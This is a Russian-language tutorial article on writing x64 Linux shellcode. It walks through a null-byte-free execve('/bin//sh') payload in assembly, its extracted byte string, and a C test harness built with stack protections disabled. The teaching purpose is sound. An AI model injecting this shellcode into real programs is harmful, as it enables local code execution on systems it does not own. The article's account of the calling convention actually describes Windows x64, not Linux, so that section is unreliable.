IoT — самый настоящий тренд последнего времени. Почти везде в нем используется ядро Linux. Однако статей по вирусописательству и шелл-кодингу под эту платформу сравнительно мало. Думаешь, писать шелл-код под Linux — только для избранных? Давай выясним, так ли это!

 

Что нужно для работы?

Для компиляции шелл-кода нам понадобится компилятор и линковщик. Мы будем использовать nasm и ld. Для проверки работы шелл-кода мы напишем небольшую программку на С. Для ее компиляции нам понадобится gcc. Для некоторых проверок будет нужен rasm2 (часть фреймворка radare2). Для написания вспомогательных функций мы будем использовать Python.

 

Что нового в x64?

x64 является расширением архитектуры IA-32. Основная отличительная ее особенность — поддержка 64-битных регистров общего назначения, 64-битных арифметических и логических операций над целыми числами и 64-битных виртуальных адресов.

Если говорить более конкретно, то все 32-битные регистры общего назначения сохраняются, добавляются их расширенные версии (rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) и несколько новых регистров общего назначения (r8, r9, r10, r11, r12, r13, r14, r15).

Появляется новое соглашение о вызовах (в отличие от архитектуры x86, оно только одно). Согласно ему, при вызове функции каждый регистр используется для определенных целей, а именно:

  • первые четыре целочисленных аргумента функции передаются через регистры rcx, rdx, r8 и r9 и через регистры xmm0xmm3 для типов с плавающей точкой;
  • остальные параметры передаются через стек;
  • для параметров, передаваемых через регистры, все равно резервируется место в стеке;
  • результат работы функции возвращается через регистр rax для целочисленных типов или через регистр xmm0 для типов с плавающей точкой;
  • rbp содержит указатель на базу стека, то есть место (адрес), где начинается стек;
  • rsp содержит указатель на вершину стека, то есть на место (адрес), куда будет помещено новое значение;
  • rsi, rdi используются в syscall.

Немного о стеке: так как адреса теперь 64-битные, значения в стеке могут иметь размер 8 байт.

 

Syscall. Что? Как? Зачем?

Syscall — это способ, посредством которого user-mode взаимодействует с ядром в Linux. Он используется для различных задач: операции ввода-вывода, запись и чтение файлов, открытие и закрытие программ, работа с памятью и сетью и так далее. Для того чтобы выполнить syscall, необходимо:

  • загрузить соответствующий номер функции в регистр rax;
  • загрузить входные параметры в остальные регистры;
  • вызвать прерывание под номером 0x80 (начиная с версии ядра 2.6 это делается через вызов syscall).

В отличие от Windows, где нужно еще найти адрес необходимой функции, здесь все довольно просто и лаконично.

Номера нужных syscall-функций можно найти, например, здесь.

 

execve()

Если мы посмотрим на готовые шелл-коды, то многие из них используют функцию execve().

execve() имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const envp[]);

Она вызывает программу filename. Программа filename может быть либо исполняемым бинарником, либо скриптом, который начинается со строки #! interpreter [optional-arg].

argv[] является указателем на массив, по сути, это тот самый argv[], который мы видим, например, в C или Python.

envp[] — указатель на массив, описывающий окружение. В нашем случае не используется, будет иметь значение null.

 

Основные требования к шелл-коду

Существует такое понятие, как position-independent code. Это код, который будет выполняться независимо от того, по какому адресу он загружен. Чтобы наш шелл-код мог выполняться в любом месте программы, он должен быть позиционно-независимым.

Чаще всего шелл-код загружается функциями вроде strcpy(). Подобные функции используют байты 0x00, 0x0A, 0x0D как разделители (зависит от платформы и функции). Поэтому лучше такие значения не использовать. В противном случае функция может скопировать шелл-код не полностью. Рассмотрим следующий пример:

$ rasm2 -a x86 -b 64 'push  0x00'
6a00

Как видно, код push 0x00 скомпилируется в следующие байты 6a 00. Если бы мы использовали такой код, наш шелл-код бы не сработал. Функция скопировала бы все, что находится до байта со значением 0x00.

В шелл-коде нельзя использовать «захардкоженные» адреса, потому что мы заранее эти самые адреса не знаем. По этой причине все строки в шелл-коде получаются динамически и хранятся в стеке.

Вот вроде бы и все.

 

Just do it!

Если ты дочитал до этого места, то уже должна сложиться картина, как будет работать наш шелл-код.

Первым делом необходимо подготовить параметры для функции execve() и затем правильно расположить их на стеке. Функция будет выглядеть следующим образом:

execve("/bin/sh/", ["/bin/sh"], null);

Второй параметр представляет собой массив argv[]. Первый элемент этого массива содержит путь к исполняемому файлу.

Третий параметр представляет собой информацию об окружении, нам он не нужен, поэтому будет иметь значение null.

Сначала получим нулевой байт. Мы не можем использовать структуру вида mov eax, 0x00, поскольку это приведет к появлению null-байтов в коде, так что мы будем использовать следующую инструкцию:

xor rdx, rdx

Оставим это значение в регистре rdx — оно еще понадобится в качестве символа конца строки и значения третьего параметра (которое будет null).

Так как стек растет от старших адресов к младшим, а функция execve() будет читать входные параметры от младших к старшим (то есть стек работает с памятью в обратном порядке), то на стек мы будем класть перевернутые значения.

Для того чтобы перевернуть строку и перевести ее в hex, можно использовать следующую функцию на Python:

def rev_str(s):
  rev = s[::-1]
  return rev.encode("hex")

Вызовем эту функцию для /bin/sh:

>>> rev.rev_str("/bin/sh")
'68732f6e69622f'

Получили строку длиной 7 байт. Теперь рассмотрим, что произойдет, если мы попробуем положить ее в стек:

$ rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
48b82f62696e2f73680050

Мы получили нулевой байт (второй байт с конца), который сломает наш шелл-код. Чтобы этого не произошло, воспользуемся тем, что Linux игнорирует последовательные слеши (то есть /bin/sh и /bin//sh — это одно и то же).

>>> rev.rev_str("/bin//sh")
'68732f2f6e69622f'

Теперь у нас строка длиной 8 байт. Посмотрим, что будет, если положить ее в стек:

$ rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
48b82f62696e2f2f736850

Никаких нулевых байтов!

Затем на сайте ищем информацию о функции execve(). Смотрим номер функции, который положим в rax, — 59. Смотрим, какие регистры используются:

  • rdi — хранит адрес строки filename;
  • rsi — хранит адрес строки argv;
  • rdx — хранит адрес строки envp.
 

Собираем все воедино

Кладем в стек символ конца строки (помним, что все делается в обратном порядке):

xor rdx, rdx
push rdx

Кладем в стек строку /bin//sh:

mov rax, 0x68732f2f6e69622f
push rax

Получаем адрес строки /bin//sh в стеке и сразу помещаем его в rdi:

mov rdi, rsp

В rsi необходимо положить указатель на массив строк. В нашем случае этот массив будет содержать только путь до исполняемого файла, поэтому достаточно положить туда адрес, который ссылается на память, где лежит адрес строки (на языке С указатель на указатель). Адрес строки у нас уже есть, он находится в регистре rdi. Массив argv должен заканчиваться null-байтом, который у нас находится в регистре rdx:

push rdx
push rdi
mov rsi, rsp

Теперь rsi указывает на адрес в стеке, в котором лежит указатель на строку /bin//sh.

Кладем в rax номер функции execve():

xor rax, rax
mov al, 0x3b

В итоге получили такой файл:

;runs /bin/sh

section .text
    global _start

_start:
    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Компилируем и линкуем под x64. Для этого:

$ nasm -f elf64 example.asm
$ ld -m elf_x86_64 -s -o example example.o

Теперь можем использовать objdump -d example для того, чтобы посмотреть получившийся файл:

Disassembly of section .text:
0000000000400080 <.text>:
  400080:    48 31 d2                 xor    %rdx,%rdx
  400083:    52                       push   %rdx
  400084:    48 b8 2f 62 69 6e 2f     movabs $0x68732f2f6e69622f,%rax
  40008b:    2f 73 68
  40008e:    50                       push   %rax
  40008f:    48 89 e7                 mov    %rsp,%rdi
  400092:    52                       push   %rdx
  400093:    57                       push   %rdi
  400094:    48 89 e6                 mov    %rsp,%rsi
  400097:    48 31 c0                 xor    %rax,%rax
  40009a:    b0 3b                    mov    $0x3b,%al
  40009c:    0f 05                    syscall

Чтобы получить шелл-код вида \x11\x22... из бинарника, можем воспользоваться следующим кодом:

for i in `objdump -d example | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

В результате получаем:

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
 

Тестируем шелл-код

Для теста используем следующую программу на С (вместо SHELLCODE нужно вставить получившийся шелл-код):

/* shellcode test program */
char shellcode [] = "SHELLCODE";
int main()
{
  void (*f)() = (void(*)())shellcode;
  f();
  return 0;
}

Затем компилируем:

gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c

В результате получаем программу shellcode_test. Запускаем программу и попадаем в интерпретатор sh. Для выхода вводим exit.

 

Заключение

Вот мы и написали свой первый шелл-код под Linux x64. На первый взгляд — ничего сложного, труднее всего сократить размеры шелл-кода. И нельзя забывать, что это лишь «проба пера», наш шелл-код не справится с DEP и ASLR, но полученные навыки пригодятся для написания более сложных вещей.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии